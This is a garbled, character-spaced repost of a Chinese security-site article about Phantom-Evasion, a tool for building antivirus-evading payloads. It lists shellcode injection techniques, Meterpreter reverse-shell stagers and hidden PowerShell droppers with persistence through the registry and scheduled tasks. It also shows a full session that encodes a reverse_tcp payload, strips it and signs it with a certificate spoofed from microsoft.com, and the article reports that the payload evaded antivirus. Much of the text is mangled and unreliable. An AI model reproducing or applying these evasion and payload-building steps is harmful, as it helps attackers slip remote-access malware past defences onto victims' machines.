[13600] 2019-01-01_Phantom-Evasion:反病毒软件绕过测试工具

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-18
2019-01-01_Phantom-Evasion:反病毒软件绕过测试工具 P h a n t o m - E v a s i o n   F r e e B u f   2 0 1 9 - 0 1 - 0 1 P h a n t o m - E v a s i o n p y t h o n 使 使 使 使 3 2 m s f v e n o m 6 4 F U D 使 使 使 使 1 . 0 P h a n t o m - E v a s i o n / 使 使 W I N D O W S   P A Y L O A D S W i n d o w s   S h e l l c o d e C M s f v e n o m   W i n d o w s s h e l l c o d e > W i n d o w s > X o r M u l t i b y t e   X o r > D e c o y   P r o c e s s e s   S p a w n e r D e c o y   P r o c e s s   S p a w n e r > h t t p s : / / e n . w i k i p e d i a . o r g / w i k i / S t r i p _ ( U n i x > 3 5 - 6 0 W i n d o w s   S h e l l c o d e   I n j e c t i o n   V i r t u a l A l l o c 使 V i r t u a l A l l o c C r e a t e T h r e a d W a i t F o r S i n g l e O b j e c t   A P I g i t   c l o n e   h t t p s : / / g i t h u b . c o m / o d d c o d 3 / P h a n t o m - E v a s i o n c d   P h a n t o m - E v a s i o n s u d o   p y t h o n   p h a n t o m - e v a s i o n . p y s u d o   c h m o d   + x   . / p h a n t o m - e v a s i o n . p y s u d o   . / p h a n t o m - e v a s i o n . p y
s h e l l c o d e W i n d o w s   S h e l l c o d e   I n j e c t i o n   V i r t u a l A l l o c   N o D i r e c t C a l l   L L   /   G P A 使 V i r t u a l A l l o c C r e a t e T h r e a d W a i t F o r S i n g l e O b j e c t   A P I s h e l l c o d e 使 L o a d L i b r a r y G e t P r o c A d d r e s s   A P I A P I W i n d o w s   S h e l l c o d e   I n j e c t i o n   V i r t u a l A l l o c   N o D i r e c t C a l l   G P A   /   G M H 使 V i r t u a l A l l o c C r e a t e T h r e a d W a i t F o r S i n g l e O b j e c t   A P I s h e l l c o d e 使 G e t M o d u l e H a n d l e G e t P r o c A d d r e s s   A P I A P I W i n d o w s   S h e l l c o d e   I n j e c t i o n   H e a p A l l o c 使 H e a p A l l o c H e a p C r e a t e C r e a t e T h r e a d W a i t F o r S i n g l e O b j e c t   A P I s h e l l c o d e   W i n d o w s   S h e l l c o d e   I n j e c t i o n   H e a p A l l o c   N o D i r e c t C a l l   L L   /   G P A 使 H e a p C r e a t e H e a p A l l o c C r e a t e T h r e a d W a i t F o r S i n g l e O b j e c t   A P I s h e l l c o d e 使 L o a d L i b r a r y G e t P r o c A d d r e s s   A P I A P I W i n d o w s   S h e l l c o d e   I n j e c t i o n   H e a p A l l o c   N o D i r e c t C a l l   G P A   /   G M H 使 H e a p C r e a t e H e a p A l l o c C r e a t e T h r e a d W a i t F o r S i n g l e O b j e c t   A P I s h e l l c o d e 使 G e t M o d u l e H a n d l e G e t P r o c A d d r e s s   A P I A P I W i n d o w s   S h e l l c o d e   I n j e c t i o n   P r o c e s s 使 V i r t u a l A l l o c E x W r i t e P r o c e s s M e m o r y C r e a t e R e m o t e T h r e a d W a i t F o r S i n g l e O b j e c t   A P I s h e l l c o d e O n e D r i v e . e x e x 8 6 e x p l o r e r . e x e x 6 4 W i n d o w s   S h e l l c o d e N o D i r e c t C a l l   L L   /   G P A 使 V i r t u a l A l l o c E x W r i t e P r o c e s s M e m o r y C r e a t e R e m o t e T h r e a d W a i t F o r S i n g l e O b j e c t   A P I s h e l l c o d e O n e D r i v e . e x e x 8 6 e x p l o r e r . e x e x 6 4 使 L o a d L i b r a r y G e t P r o c A d d r e s s   A P I A P I W i n d o w s   S h e l l c o d e N o D i r e c t C a l l   G P A   /   G M H 使 V i r t u a l A l l o c E x W r i t e P r o c e s s M e m o r y C r e a t e R e m o t e T h r e a d W a i t F o r S i n g l e O b j e c t   A P I s h e l l c o d e O n e D r i v e . e x e x 8 6 e x p l o r e r . e x e x 6 4 使 G e t M o d u l e H a n d l e G e t P r o c A d d r e s s   A P I A P I W i n d o w s   S h e l l c o d e 线 s h e l l c o d e 使 V i r t u a l A l l o c E x W r i t e P r o c e s s M e m o r y G e t   /   S e t T h r e a d C o n t e x t S u s p e n d   /   R e s u m e T h r e a d   A P I 线 O n e D r i v e . e x e x 8 6 e x p l o r e r . e x e x 6 4 W i n d o w s   S h e l l c o d e 线 L L   /   G P A s h e l l c o d e 使 V i r t u a l A l l o c E x W r i t e P r o c e s s M e m o r y G e t   /   S e t T h r e a d C o n t e x t S u s p e n d   / 线 O n e D r i v e . e x e x 8 6 e x p l o r e r . e x e x 6 4   R e s u m e T h r e a d   A P I 使 L o a d L i b r a r y G e t P r o c A d d r e s s A P I A P I W i n d o w s   S h e l l c o d e 线 G P A   /   G M H s h e l l c o d e 使 V i r t u a l A l l o c E x W r i t e P r o c e s s M e m o r y G e t   /   S e t T h r e a d C o n t e x t S u s p e n d   / 线 O n e D r i v e . e x e x 8 6 e x p l o r e r . e x e x 6 4   R e s u m e T h r e a d   A P I 使 G e t M o d u l e H a n d l e G e t P r o c A d d r e s s   A P I A P I W i n d o w s   P u r e   C   m e t e r p r e t e r   s t a g e r C m s f c o n s o l e r e v e r s e _ t c p   /   r e v e r s e h t t p > W i n d o w s > > >
3 5 - 6 0 C   m e t e r p r e t e r   /   r e v e r s e _ T C P   V i r t u a l A l l o c x 8 6   /   x 6 4 c 3 2 / 6 4 w i n d o w s   /   m e t e r p r e t e r   / r e v e r s e _ t c p s t a g e r / w i n d o w s   /   m e t e r p r e t e r   /   r e v e r s e _ t c p x 8 6   -   w i n d o w s   /   x 6 4   /   m e t e r p r e t e r   /   r e v e r s e _ t c p x 6 4 C   m e t e r p r e t e r   /   r e v e r s e _ T C P   H e a p A l l o c x 8 6   /   x 6 4 c 3 2 / 6 4 w i n d o w s   /   m e t e r p r e t e r   / r e v e r s e _ t c p s t a g e r / w i n d o w s   /   m e t e r p r e t e r   /   r e v e r s e _ t c p x 8 6   -   w i n d o w s   /   x 6 4   /   m e t e r p r e t e r   /   r e v e r s e _ t c p x 6 4 C   m e t e r p r e t e r   /   r e v e r s e _ T C P   V i r t u a l A l l o c   N o D i r e c t C a l l   G P A G M H x 8 6   /   x 6 4 c 3 2 / 6 4 w i n d o w s   /   m e t e r p r e t e r   /   r e v e r s e _ t c p s t a g e r r r e q u i r e   m u l t i   /   h a n d l e r   l i s t e n e r w i n d o w s   / m e t e r p r e t e r   /   r e v e r s e _ t c p x 8 6   -   w i n d o w s   /   x 6 4   /   m e t e r p r e t e r   /   r e v e r s e _ t c p x 6 4 A P I C   m e t e r p r e t e r   /   r e v e r s e _ T C P   H e a p A l l o c   N o D i r e c t C a l l   G P A G M H x 8 6   /   x 6 4 c 3 2 / 6 4 w i n d o w s /   m e t e r p r e t e r   /   r e v e r s e _ t c p s t a g e r / w i n d o w s   /   m e t e r p r e t e r   / r e v e r s e _ t c p x 8 6   -   w i n d o w s   /   x 6 4   /   m e t e r p r e t e r   /   r e v e r s e _ t c p x 6 4 A P I C   m e t e r p r e t e r   /   r e v e r s e _ H T T P   V i r t u a l A l l o c x 8 6   /   x 6 4 c 3 2 / 6 4 w i n d o w s   /   m e t e r p r e t e r   / r e v e r s e _ h t t p s t a g e r / w i n d o w s   /   m e t e r p r e t e r   / r e v e r s e _ h t t p x 8 6   -   w i n d o w s   /   x 6 4   /   m e t e r p r e t e r   /   r e v e r s e _ h t t p x 6 4 C   m e t e r p r e t e r   /   r e v e r s e _ H T T P   H e a p A l l o c x 8 6   /   x 6 4 c 3 2 / 6 4 w i n d o w s   /   m e t e r p r e t e r   / r e v e r s e _ h t t p s t a g e r / w i n d o w s   /   m e t e r p r e t e r   / r e v e r s e _ h t t p x 8 6   -   w i n d o w s   /   x 6 4   /   m e t e r p r e t e r   /   r e v e r s e _ h t t p x 6 4 C   m e t e r p r e t e r   /   r e v e r s e _ H T T P   V i r t u a l A l l o c   N o D i r e c t C a l l   G P A G M H x 8 6   /   x 6 4 c 3 2 / 6 4 w i n d o w s   /   m e t e r p r e t e r   /   r e v e r s e _ h t t p s t a g e r / w i n d o w s   / m e t e r p r e t e r   /   r e v e r s e _ h t t p x 8 6   -   w i n d o w s   /   x 6 4   /   m e t e r p r e t e r   /   r e v e r s e _ h t t p x 6 4 A P I C   m e t e r p r e t e r   /   r e v e r s e _ H T T P   H e a p A l l o c   N o D i r e c t C a l l   G P A G M H x 8 6   /   x 6 4 c 3 2 / 6 4 w i n d o w s   /   m e t e r p r e t e r   /   r e v e r s e _ h t t p s t a g e r / w i n d o w s   / m e t e r p r e t e r   /   r e v e r s e _ h t t p x 8 6   -   w i n d o w s   /   x 6 4   /   m e t e r p r e t e r   /   r e v e r s e _ h t t p x 6 4 A P I C   m e t e r p r e t e r   /   r e v e r s e _ H T T P S   V i r t u a l A l l o c x 8 6   /   x 6 4 c 3 2 / 6 4 w i n d o w s   /   m e t e r p r e t e r   / r e v e r s e _ h t t p s t a g e r / w i n d o w s   /   m e t e r p r e t e r   / r e v e r s e _ h t t p s x 8 6   -   w i n d o w s   /   x 6 4   /   m e t e r p r e t e r   /   r e v e r s e _ h t t p s x 6 4 C   m e t e r p r e t e r   /   r e v e r s e _ H T T P S   H e a p A l l o c x 8 6   /   x 6 4 c 3 2 / 6 4 w i n d o w s   /   m e t e r p r e t e r   / r e v e r s e _ h t t p s t a g e r / w i n d o w s   /   m e t e r p r e t e r   / r e v e r s e _ h t t p s x 8 6   -   w i n d o w s   /   x 6 4   /   m e t e r p r e t e r   /   r e v e r s e _ h t t p s x 6 4 C   m e t e r p r e t e r   /   r e v e r s e _ H T T P S   V i r t u a l A l l o c   N o D i r e c t C a l l   G P A G M H x 8 6   /   x 6 4 c 3 2 / 6 4 w i n d o w s   /   m e t e r p r e t e r   /   r e v e r s e _ h t t p s t a g e r / w i n d o w s   / m e t e r p r e t e r   /   r e v e r s e _ h t t p s x 8 6   -   w i n d o w s   /   x 6 4   /   m e t e r p r e t e r   /   r e v e r s e _ h t t p s x 6 4 A P I C   m e t e r p r e t e r   /   r e v e r s e _ H T T P S   H e a p A l l o c   N o D i r e c t C a l l   G P A G M H x 8 6   /   x 6 4 c 3 2 / 6 4 w i n d o w s   /   m e t e r p r e t e r   /   r e v e r s e _ h t t p s t a g e r / w i n d o w s   /
m e t e r p r e t e r   /   r e v e r s e _ h t t p s x 8 6   -   w i n d o w s   /   x 6 4   /   m e t e r p r e t e r   /   r e v e r s e _ h t t p s x 6 4 A P I P o w e r s h e l l   /   W i n e - P y i n s t a l l e r P o w e r s h e l l > W i n d o w s > S p a w n e r >   > 3 5 - 6 0 W i n d o w s   P o w e r s h e l l   /   C m d   O n e l i n e r   D r o p p e r P o w e r s h e l l   /   C m d   o n e l i n e r E m p i r e   o n e l i n e r c W i n d o w s   p o w e r s h e l l   /   C m d   o n e l i n e r   d r o p p e r P o w e r s h e l l   /   C m d o n e l i n e r 使 s y s t e m W i n d o w s   P o w e r s h e l l   S c r i p t   D r o p p e r m s f v e n o m P o w e r S h e l l 3 2 p o w e r s h e l l 6 4 P o w e r S h e l l c W i n d o w s   p o w e r s h e l l . p s 1 d r o p p e r P o w e r s h e l l 使 s y s t e m p o w e r s h e l l   - e x e c u t i o n p o l i c y   b y p a s s   - W i n d o w S t y l e   H i d d e n - N o e x i t   - F i l e P a t h T o p s 1 s c r i p t W i n e - P y i n s t a l l e r > W i n d o w s > 5 - 2 5 > w i n e p y t h o n p y i n s t a l l e r W i n d o w s   W i n e P y i n s t a l l e r   P y t h o n   M e t e r p r e t e r p y t h o n   m e t e r p r e t e r W i n e P y i n s t a l l e r   O n e l i n e p y t h o n   p o w e r s h e l l   /   c m d   o n e l i n e r 使 o s . s y s t e m P o w e r s h e l l   /   c m d L I N U X   P A Y L O A D S L i n u x   S h e l l c o d e C M s f v e n o m   l i n u x s h e l l c o d e > C > X o r M u l t i b y t e   X o r >   > 2 0 - 4 5 L i n u x   S h e l l c o d e   I n j e c t i o n   H e a p A l l o c 使 m m a p m e m c p y s h e l l c o d e L i n u x   B a s h   O n e l i n e r   D r o p p e r 使 s y s t e m o n e l i n e r O S X   P A Y L O A D S O S X   3 2 m s f v e n o m O S X A N D R O I D   P A Y L O A D S A n d r o i d   M s f v e n o m   A p k   s m a l i   /   b a k s m a l i > > A n d r o i d   m s f v e n o m a p k t o o l a p k
P A Y L O A D S P h a n t o m - E v a s i o n P O S T - E X P L O I T A T I O N 1 . W i n d o w s R e g C r e a t e K e y E x W C 2 . W i n d o w s   P e r s i s t e n c e   R E G C M D c m d l i n e R E G . e x e 3 . W i n d o w s 使 C r e a t e T o o l S n a p s h o o t   P r o c e s s F i r s t P r o c e s s N e x t X P e r s i s t e n c e   N . 1 N . 2 K e e p 4 . W i n d o w s   P e r s i s t e n c e   S c h t a s k s   c m d l i n e c m d l i n e 使 S c h t a s k s . e x e 5 . W i n d o w s S e t F i l e A t t r i b u t e s   A P I P h a n t o m - E v a s i o n m s f v e n o m L H O S T L P O R T m s f v e n o m [ 4 ]   x 8 6 / x o r _ d y n a m i c   +   T r i p l e   M u l t i b y t e - k e y   x o r   ( e x c e l l e n t ) 1 U n i v e r s a l   M e t e r p r e t e r   i n c r e m e n t s - t r i c k U n i v e r s a l   P o l y m o r p h i c   M e t e r p r e t e r U n i v e r s a l   P o l y m o r p h i c   O n e l i n e r   d r o p p e r [ 1 ]     W i n d o w s   m o d u l e s - - > [ 1 ]     S h e l l c o d e   I n j e c t i o n - - > [ 4 ]     W i n d o w s   S h e l l c o d e   I n j e c t i o n   H e a p A l l o c ( C ) - - > [ 1 ]   M s f v e n o m w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p L H O S T 1 9 2 . 1 6 8 . 3 4 . 1 3 3 L P O R T : 4 4 4 4
P h a n t o m - E v a s i o n a p a c h e 使 3 6 0 [ < P a y l o a d > ]   c h o o s e   h o w   t o   s u p p l y   s h e l l c o d e : [ 1 ]   M s f v e n o m [ 2 ]   C u s t o m   s h e l l c o d e [ 0 ]   B a c k [ > ]   P l e a s e   i n s e r t   o p t i o n :   1 [ > ]   P l e a s e   e n t e r   m s f v e n o m   p a y l o a d   ( e x a m p l e :   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p ) : w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p [ > ]   P l e a s e   i n s e r t   L H O S T :   1 9 2 . 1 6 8 . 3 4 . 1 3 3 [ > ]   P l e a s e   i n s e r t   L P O R T :   4 4 4 4 [ > ]   C u s t o m   m s f v e n o m   o p t i o n s ( d e f a u l t :   b l a n k ) :   [ > ]   E n c o d i n g   s t e p : [ 1 ]   x 8 6 / x o r _ d y n a m i c                                                                       ( a v e r a g e ) [ 2 ]   x 8 6 / x o r _ d y n a m i c   +   M u l t i b y t e - k e y   x o r                                     ( g o o d ) [ 3 ]   x 8 6 / x o r _ d y n a m i c   +   D o u b l e   M u l t i b y t e - k e y   x o r             ( e x c e l l e n t ) [ 4 ]   x 8 6 / x o r _ d y n a m i c   +   T r i p l e   M u l t i b y t e - k e y   x o r             ( e x c e l l e n t ) [ > ]   P l e a s e   e n t e r   o p t i o n s   n u m b e r :   4 [ > ]   E n t e r   o u t p u t   f i l e n a m e :   t e s t [ > ]   S p a w n   M u l t i p l e   P r o c e s s e s : D u r i n g   t a r g e t - s i d e   e x e c u t i o n   t h i s   w i l l   c a u s e   t o   s p a w n   a   m a x i m u m   o f   4   p r o c e s s e s c o n s e q u e n t i a l y . O n l y   t h e   l a s t   s p a w n e d   p r o c e s s   w i l l   r e a c h   t h e   m a l i c i o u s   s e c t i o n   o f   c o d e w h i l e   t h e   o t h e r   d e c o y   p r o c e s s e s   s p a w n e d   b e f o r e   w i l l   e x e c u t e s   o n l y   r a n d o m   j u n k   c o d e [ > ]   A d d   m u l t i p l e   p r o c e s s e s   b e h a v i o u r ? ( y / n ) :   y [ > ]   I n s e r t   n u m b e r   o f   d e c o y   p r o c e s s e s   ( i n t e g e r   b e t w e e n   1 - 3 ) :   1 [ > ]   G e n e r a t i n g   c o d e . . . [ - ]   N o   p l a t f o r m   w a s   s e l e c t e d ,   c h o o s i n g   M s f : : M o d u l e : : P l a t f o r m : : W i n d o w s   f r o m   t h e   p a y l o a d F o u n d   1   c o m p a t i b l e   e n c o d e r s A t t e m p t i n g   t o   e n c o d e   p a y l o a d   w i t h   1   i t e r a t i o n s   o f   x 8 6 / x o r _ d y n a m i c x 8 6 / x o r _ d y n a m i c   s u c c e e d e d   w i t h   s i z e   3 8 7   ( i t e r a t i o n = 0 ) x 8 6 / x o r _ d y n a m i c   c h o s e n   w i t h   f i n a l   s i z e   3 8 7 P a y l o a d   s i z e :   3 8 7   b y t e s F i n a l   s i z e   o f   c   f i l e :   1 6 5 0   b y t e s [ > ]   T r i p l e - k e y   X o r   m u l t i b y t e   e n c o d i n g . . . [ B u i l d i n g   x o r - k e y   ( l e n g h t : 3 5 ] :   x a 2 x 3 b x a 4 x 9 7 x 3 7 x 3 b x 3 0 x 4 3 x b a x e 3 x 7 0 x 6 a x 5 4 x a 9 x b e x a 0 x 3 6 x 9 7 x d 9 x c c x 8 1 x c 2 x 7 7 x 3 d x 7 8 x 5 c x a f x d 2 x a 4 x 8 2 x 9 5 x 2 b x d e x 2 a x 7 6 [ > ]   C o m p i l i n g . . . [ > ]   S t r i p   s t r i p   i s   a   G N U   u t i l i t y   t o   " s t r i p "   s y m b o l s   f r o m   o b j e c t   f i l e s . T h i s   i s   u s e f u l   f o r   m i n i m i z i n g   t h e i r   f i l e   s i z e ,   s t r e a m l i n i n g   t h e m   f o r   d i s t r i b u t i o n . I t   c a n   a l s o   b e   u s e f u l   f o r   m a k i n g   i t   m o r e   d i f f i c u l t   t o   r e v e r s e - e n g i n e e r   t h e   c o m p i l e d   c o d e . ( L o w e r   r a t e   o f   d e t e c t i o n ) [ > ]   S t r i p   e x e c u t a b l e ?   ( y / n ) : y [ > ]   S t r i p p i n g . . . [ > ]   S i g n   E x e c u t a b l e   O n l i n e   C e r t i f i c a t e   s p o o f e r   &   E x e c u t a b e   s i g n e r   ( L o w e r   r a t e   o f   d e t e c t i o n ) [ > ]   S i g n   e x e c u t a b l e ?   ( y / n ) : y [ > ]   I n s e r t   c e r t i f i c a t e   s p o o f i n g   t a r g e t   ( d e f a u l t :   w w w . m i c r o s o f t . c o m : 4 4 3 ) :   | D N S - r e q u e s t |   w w w . m i c r o s o f t . c o m   | S - c h a i n | - < > - 1 2 7 . 0 . 0 . 1 : 1 0 8 0 - < > < > - 4 . 2 . 2 . 2 : 5 3 - < > < > - O K | D N S - r e s p o n s e |   w w w . m i c r o s o f t . c o m   i s   2 . 2 2 . 9 3 . 1 5 | S - c h a i n | - < > - 1 2 7 . 0 . 0 . 1 : 1 0 8 0 - < > < > - 2 . 2 2 . 9 3 . 1 5 : 4 4 3 - < > < > - O K [ > ]   I n s e r t   s i g n   s o f t w a r e   d e s c r i p t i o n   ( d e f a u l t :   N o t e p a d   B e n c h m a r k   U t i l ) :   [ > ]   S i g n i n g   t e s t . e x e   w i t h   o s s l s i g n c o d e . . . [ > ]   S u c c e e d e d [ < > ]   F i l e   s a v e d   i n   P h a n t o m - E v a s i o n   f o l d e r [ > ]   P r e s s   E n t e r   t o   c o n t i n u e
v i r u s t o t a l 2 3 3 3 3 s h e l 3 6 0 :   2 0 1 8 - 1 2 - 2 2   0 0 : 1 3 : 4 6 :   0 0 : 0 0 : 0 3 :   : 3 6 0     3 6 0     Q E X   :   2 :   0 :   0 :   0 :   2 :   0 :   0 :   :   v m w a r e - h o s t S h a r e d   F o l d e r s t e s t . e x e 广  
h t t p s : / / g i t h u b . c o m / o d d c o d 3 / P h a n t o m - E v a s i o n
* F r e e B u f . C O M
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则